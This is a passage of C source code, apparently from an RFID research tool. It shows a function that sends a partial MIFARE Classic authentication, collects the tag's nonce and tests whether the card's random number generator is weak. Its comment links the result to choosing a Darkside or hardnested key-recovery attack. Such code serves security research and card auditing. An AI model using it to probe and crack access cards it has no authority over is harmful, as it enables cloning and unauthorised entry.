* function performs a partial AUTH,  where it tries to authenticate against block0, key A, but only collects tag nonce.\r
* the tag nonce is check to see if it has a predictable PRNG.\r
* @returns \r
*	TRUE if tag uses WEAK prng (ie Now the NACK bug also needs to be present for Darkside attack)\r
*   FALSE is tag uses HARDEND prng (ie hardnested attack possible, with known key)\r
*/\r
int DetectClassicPrng(void){\r
\r
	UsbCommand resp, respA;	\r
	uint8_t cmd[] = {0x60, 0x00}; // MIFARE_AUTH_KEYA\r
	uint32_t flags = ISO14A_CONNECT | ISO14A_RAW | ISO14A_APPEND_CRC | ISO14A_NO_RATS;\r
	\r
	UsbCommand c = {CMD_READER_ISO_14443a, {flags, sizeof(cmd), 0}};\r
	memcpy(c.d.asBytes, cmd, sizeof(cmd));\r
\r
	clearCommandBuffer();\r
	SendCommand(&c);\r
	if (!WaitForResponseTimeout(CMD_ACK, &resp, 2000)) {\r
        PrintAndLog("PRNG UID: Reply timeout.");\r
		return -1;\r
	}\r
	\r
	// if select tag failed.\r
	if (resp.arg[0] == 0) {\r
		PrintAndLog("PRNG error: selecting tag failed, can't detect prng.");\r
		return -1;\r
	}\r
	\r
	if (!WaitForResponseTimeout(CMD_ACK, &respA, 5000)) {\r
        PrintAndLog("PRNG data: Reply timeout.");\r
		return -1;\r
	}\r
\r
	// check respA\r
	if (respA.arg[0] != 4) {\r
		PrintAndLog("PRNG data error: Wrong length: %d", respA.arg[0]);\r
		return -1;\r
	}\r
\r
	uint32_t nonce = bytes_to_num(respA.d.asBytes, respA.arg[0]);\r
	return validate_prng_nonce(nonce);\r
}\r